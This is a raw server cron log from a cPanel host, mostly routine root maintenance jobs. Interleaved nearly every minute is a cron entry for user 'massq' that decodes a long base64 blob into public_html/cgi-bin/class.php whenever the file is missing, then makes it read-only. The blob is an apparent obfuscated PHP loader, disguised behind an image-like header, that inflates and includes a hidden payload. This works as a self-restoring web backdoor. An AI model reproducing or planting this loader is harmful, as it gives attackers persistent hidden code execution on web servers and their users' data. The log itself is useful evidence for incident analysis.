Sep  3 06:40:01 server CROND[4649]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 06:40:01 server CROND[4651]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:40:01 server CROND[4655]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:41:01 server CROND[5481]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:41:01 server CROND[5479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:41:01 server CROND[5482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:42:01 server CROND[5853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:42:01 server CROND[5854]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 06:42:01 server CROND[5855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:42:01 server CROND[5857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:43:01 server CROND[6316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:43:01 server CROND[6317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:43:01 server CROND[6318]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:44:01 server CROND[6867]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:44:01 server CROND[6868]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:44:01 server CROND[6869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:45:01 server CROND[7305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:45:01 server CROND[7309]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 06:45:01 server CROND[7310]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:45:01 server CROND[7307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:45:01 server CROND[7308]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 06:45:01 server CROND[7311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:45:01 server CROND[7312]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:46:01 server CROND[8197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:46:01 server CROND[8198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:46:01 server CROND[8199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:47:01 server CROND[8580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:47:01 server CROND[8581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:47:01 server CROND[8582]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:48:01 server CROND[9052]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:48:01 server CROND[9053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:48:01 server CROND[9054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:49:01 server CROND[9436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:49:01 server CROND[9437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:49:01 server CROND[9438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:50:01 server CROND[9837]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 06:50:01 server CROND[9839]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 06:50:01 server CROND[9840]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 06:50:01 server CROND[9843]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:50:01 server CROND[9842]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:50:01 server CROND[9844]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 06:50:01 server CROND[9847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:50:01 server CROND[9845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:50:01 server CROND[9846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:51:01 server CROND[10704]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:51:01 server CROND[10705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:51:01 server CROND[10706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:52:01 server CROND[11084]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:52:01 server CROND[11083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:52:01 server CROND[11085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
